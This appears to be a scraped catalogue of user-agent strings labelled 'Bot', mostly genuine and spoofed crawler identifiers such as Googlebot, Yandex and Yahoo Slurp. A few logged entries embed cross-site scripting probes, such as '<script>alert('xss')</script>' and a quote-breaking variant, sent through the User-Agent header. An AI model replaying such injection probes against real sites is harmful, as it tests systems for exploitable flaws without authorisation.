Bot Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) FirePHP/0.5

Bot Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp)

Bot Mozilla/5.0 (compatible; YandexAntivirus/2.0; +http://yandex.com/bots)

Bot Mozilla/5.0 (compatible; YandexBot/3.0)

Bot Mozilla/5.0 (compatible; YandexBot/3.0; http://yandex.com/bots)

Bot Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)

Bot Mozilla/5.0 (compatible; YandexBot/3.0; MirrorDetector; http://yandex.com/bots)

Bot Mozilla/5.0 (compatible; YandexBot/3.0; MirrorDetector; +http://yandex.com/bots)

Bot Mozilla/5.0 (compatible; YandexFavicons/1.0; +http://yandex.com/bots)

Bot Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)

Bot Mozilla/5.0 (compatible; YandexMedia/3.0; +http://yandex.com/bots)

Bot Mozilla/5.0 (compatible; YandexZakladki/3.0; Dyatel; +http://yandex.com/bots)

Bot Mozilla/5.0 (compatible; YesupBot/1.0; +http://www.yesup.net/bot.html)

Bot Mozilla/5.0 (compatible; YioopBot +http://www.yioop.com/bot.php)

Bot Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )

Bot Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )

Bot Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )

Bot Mozilla/5.0 (compatible; zermelo +http://www.powerset.com) [email:paul@page-store.com,crawl@powerset.com]

Bot Mozilla/5.0 (compatible; zermelo; +http://www.powerset.com) [email:paul@page-store.com,crawl@powerset.com]

Bot Mozilla/5.0 (compatible;+ParchBot/1.0;++http://www.parchmenthill.com/search.htm)

Bot Mozilla/5.0 (compatible;FindITAnswersbot/1.0; http://search.it-influentials.com/bot.htm)

Bot Mozilla/5.0 (compatible;FindITAnswersbot/1.0; +http://search.it-influentials.com/bot.htm)

Bot Mozilla/5.0 (compatible;Googlebot/2.1 ; +http://www.google.com/bot.htlm)

Bot Mozilla/5.0 (compatible;Googlebot/2.1+(+http://www.google.com/bot.html

Bot Mozilla/5.0 (compatible;Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible;Googlebot/2.1; + http://www.google.com/bot/html)

Bot Mozilla/5.0 (compatible;Googlebot/2.1; +http://google.com/bot.html)

Bot Mozilla/5.0 (compatible;Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible;googlebot/2.1; +http://www.google.com/bot.html),gzip(gfe) (via translate.google.com)

Bot Mozilla/5.0 (compatible;Googlebot/2.1; http://www.google.com/bot.html)

Bot Mozilla/5.0 (Compatible;Googlebot/2.1;+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible;YodaoBot-Image/1.0;http://www.yodao.com/help/webmaster/spider/;)

Bot Mozilla/5.0 (compatible;YodaoBot-Image/1.0;http://www.youdao.com/help/webmaster/spider/;)

Bot Mozilla/5.0 (CP/M; 8-bit; rv:99.99.99.99) Nutscrape/1.0

Bot Mozilla/5.0 (Crawler)

Bot Mozilla/5.0 (Googlebot-Image/1.0)

Bot Mozilla/5.0 (infoSpider-Bot/2.0; support@infospider.com; http://www.infospider.com/)

Bot Mozilla/5.0 (iPhone; U; CPU iPhone 0S 3.0 like Mac 0S X; en-us; compatible; Googlebot/2.1; http://www.google.com/bot.htm...

Bot Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobil...

Bot Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobil...

Bot Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobi...

Bot Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0_1 like Mac OS X; fr-fr) OrangeBot-Mobile AppleWebKit/532.9 (KHTML, like Gecko)...

Bot Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419...

Bot Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419...

Bot Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419...

Bot Mozilla/5.0 (iphone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, Like Gecko) Version/3.0 Mobile/1A5A3 Safari/419....

Bot Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0b2) Gecko/20100720 AdultsVisitUs/Nutch-1.1 (www.AdultsVisitUs.com; cr...

Bot Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0b2) Gecko/20100720 Firebot Beta 1

Bot Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0b2) Gecko/20100720 Googlebot/2.1 ( http://www.googlebot.com/bot.html)...

Bot Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0b2) Gecko/20100720 Mozilla/5.0 (compatible; Googlebot/2.1; +http://ww...

Bot Mozilla/5.0 (Macintosh; Intel Mac OS X; U; Googlebot/2.1 (http://www.googlebot.com/bot.html)"; en; rv:1.8.0) Ge...

Bot Mozilla/5.0 (Macintosh; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html); PPC Mac OS X 10.5; Moz...

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.17) Gecko/2009122115 diffbot/0.3.7 (http://www.diffbot.c...

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008070206 Googlebot/2.1

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009042315 Googlebot 2.1

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Googlebot 2.1

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Googlebot 2.1

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.10) Gecko/20100914 Googlebot/2.1 (+http://www.google.com/bo...

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.6) Gecko/20091201 Ant.com Toolbar 1.5 facebookscraper/1....

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.6) Gecko/20091201 Ant.com Toolbar 1.5 http://www.faceboo...

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (+http://flipboard.com/crawl...

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Googlebot

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.8; flipboard.com/crawler rv:0.0.5) Gecko Firefox

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.9) Gecko/20100824 Yahoo! Slurp

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080201 Googlebot 2.1

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080201 Googlebot/1.0 (googlebot@googlebot.com htt...

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.14) Gecko/20080404 Googlebot 2.1

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.16) Gecko/20080702 Googlebot 2.1

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.2) Gecko/20070219 Googlebot/2.1 (+http://www.googlebot.com/bo...

Bot Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.7) Gecko/20070914 Googlebot/2.1

Bot Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 ShopandBuy Bot

Bot Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 ShopandBuy Bot

Bot Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9/Nutch-1.0

Bot Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 ShopandBuy Bot

Bot Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/539 (KHTML, like Gecko) Version/4.2 Safari/539.8 AppEngine-Goog...

Bot Mozilla/5.0 (MrCarlito-0.1 http://www.mrcarlito.com/spider.html)

Bot Mozilla/5.0 (msnbot/x.xx ( http://search.msn.com/msnbot.htm))

Bot Mozilla/5.0 (MultiplicoBot www.multiplico.de)

Bot Mozilla/5.0 (RSBot-0.1; http://randall.spb.ru/rsbot.html)

Bot Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com/slurp.html)

Bot Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html)

Bot Mozilla/5.0 (SnapPreviewBot) Gecko/20061206 Firefox/1.5.0.9

Bot Mozilla/5.0 (SnapPreviewBot) Gecko/20061206 Firefox/1.5.0.9,gzip(gfe) (via translate.google.com)

Bot Mozilla/5.0 (superbot.com; +http://www.super.info)

Bot Mozilla/5.0 (TSESpiderrBot Beta V1;http://www.touristsearchengine.com)

Bot Mozilla/5.0 (Twiceler +http://www.cuil.com/twiceler/robot.html)

Bot Mozilla/5.0 (Twiceler-0.9 http://www.cuil.com/twiceler/robot.html)

Bot Mozilla/5.0 (Twiceler-0.9 http://www.cuill.com/twiceler/robot.html)

Bot Mozilla/5.0 (Twitterbot/0.1)

Bot Mozilla/5.0 (W3 SiteSearch Crawler_v2.5-VM http://www.w3sitesearch.de)

Bot Mozilla/5.0 (Windows NT 5.1; rv:2.0b10) Gecko/20100101 Firefox/4.0b10 slurp

Bot Mozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110114 Firefox/4.0b10pre AppEngine-Google; (+http://code.google.com/a...

Bot Mozilla/5.0 (Windows; Googlebot 2.1; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 YFF3 Firefox/3.0.10

Bot Mozilla/5.0 (Windows; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html); Windows NT 5.1; Mozilla/...

Bot Mozilla/5.0 (Windows; N; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)/Nutch-1.0 (Crawler; lucene.apache.org/nutch/...

Bot Mozilla/5.0 (Windows; N; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)/Nutch-1.1 (Crawler; lucene.apache.org/nutch/...

Bot Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.11) Gecko/20071127 Gogglebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 4.1; en-US; Googlebot/2.1) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/7.0.1.1 Safa...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.14) Gecko/20080404 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot/2.X (http://www.googlebot.com/bo...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.4) Gecko/20091016 Firefox G1oogl11ebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) PyFiBot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.9.1.3) Gecko/20090824 Select all Googlebot/2.X How Google crawls my si...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.1) Gecko/20061204 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.18) Gecko/20081029 Dealio Toolbar 3.4 Googlebot/2.X

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.10) Gecko/2009042316 Googlebot2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.3) Gecko/20090824 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.2 <script>alert('tach ...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.5) Gecko/20091102 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.8) Gecko/20100202 Googlebot/2.1 (+http://www.google.com/bot.html)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729) slurp

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Googlebot 2.2

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Gecko/20101203 Googlebot/2.1+(+http://www.google.com/bot.html)...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Googlebot/2.1+(+http://www.google.com/bot.html) ...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.googlebot.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2b4) Gecko/20091124 Firefox/3.5.2 <script>alert('tach ...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en"-><script>alert('xss')</script>u...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.7) Gecko/20060909 Mozilla/5.0 (compatible; Googlebot/2.1; +http...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.12) Gecko/20080201 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080404 Googlebot/2.1 (+http://www.googlebot.com/bot...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4/Nutch-0.9

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.9/Nutch-0.9

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10; Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Mozilla/2.0 (compatible; Ask Jeeves/Teoma; ...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 TweetmemeBot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.9) Gecko/2009040821 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.1) Gecko/20090715 Googlebot/2.1+(+http://www.google.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.7) Gecko/20091221 '';!--"<>=&{()}&am...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2) Gecko/20100115 Googlebot/2.X

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10/...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.10) Gecko/20071115 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.6 MEGAUPLOAD 1.0 GoogleBot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot/2.X (http://www.googlebot.com/bot....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 msnbot/1.0 (+http://search.msn.com/msnbot.ht...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.9 MEGAUPLOAD 2.0 Googlebot1988...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.4 MEGAUPLOAD 1.0 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0 MEGAUPLOAD 1.0 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 AppEngine-Google; (+http://...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 GoogleBot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080829 Googlebot/2.X How Google crawls my site

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/4.0.0.20;Googlebot 2.1 (.NET CLR 2.0...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4 AppEngine-Google; (+http:/...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Googlebot/2.1 (+http://www.google.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Googlebot/2.1""Compatible&a...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 "Nokia6820/2.0 (4.83) Profile/MIDP-1...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Googlebot/2.1 (+http://www.googlebot.com/bot....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 ichiro/2.0 (http://help.goo.ne.jp/door/crawl...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 "Nokia6820/2.0 (4.83) Profile/MIDP-1...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 (compatible; Googlebot/2.1; +http://www.googl...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 http://www.botsvsbrowsers.com/details/300/ind...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 (CK-sbopiambot) Firefox/2.0.0.7

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8; Diffbot http://www.diffbot.com) Gecko/20051111 Firefox/1.5

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 Googlebot1988 Media-Player/10.0.0.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 MEGAUPLOAD 1.0 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0/1.0 (bot; http://)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0/1.0 (bot; http://; bot@bot.com)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0; Googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 <script>alert('XSS Attackable...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 A1 Sitemap Generator/1.0 (+http://www.micro...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Code: Select all Googlebot/2.X How Google c...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 googlebot (Enterprise; C5-CLD3ALX3FUJAS; gl...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (+http://www.googlebot.com/bo...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (http://www.google.com/bot.ht...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1+

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1+(+http://www.google.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.X www.MMOwned.com

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.X (http://www.googlebot.co...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 (BT-huffpost) Googlebot 2.1 (.NET CLR 3.5....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729),gzip(g...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.5 gsa-crawler

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.1 (+http://www.googlebot.com/b...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Yahoo! DE Slurp

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Msnbot/2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot/2.1 (http://www.googlebot.com/bo...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot/2.X (http://www.googlebot.com/bo...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.12) Gecko/2009070611 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Googlebot/2.X How Google crawls my site

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Googlebot/2.X How Google crawls my site (....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.13; Googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.14) Gecko/2009082707 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Firefox/3.0.13; Googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Googlebot/2.1 (+http://www.googlebot.com/b...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Googlebot/2.X (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010031422 AskTbTRL2/3.7.0.231 Firefox/3.0.19 GTB7.0 ...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.2) Gecko/2008091620 Googlebot2.1/InternetCops/RealEstate

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot/2.1 (+http://www.googlebot.com/bo...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot/2.X

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot/bot.html

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Mozilla/5.0 (compatible; Googlebot/2.1; +ht...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 "googlebot" 2.0

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/2.0 MEGAUPLOAD 1.0 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 googlebot
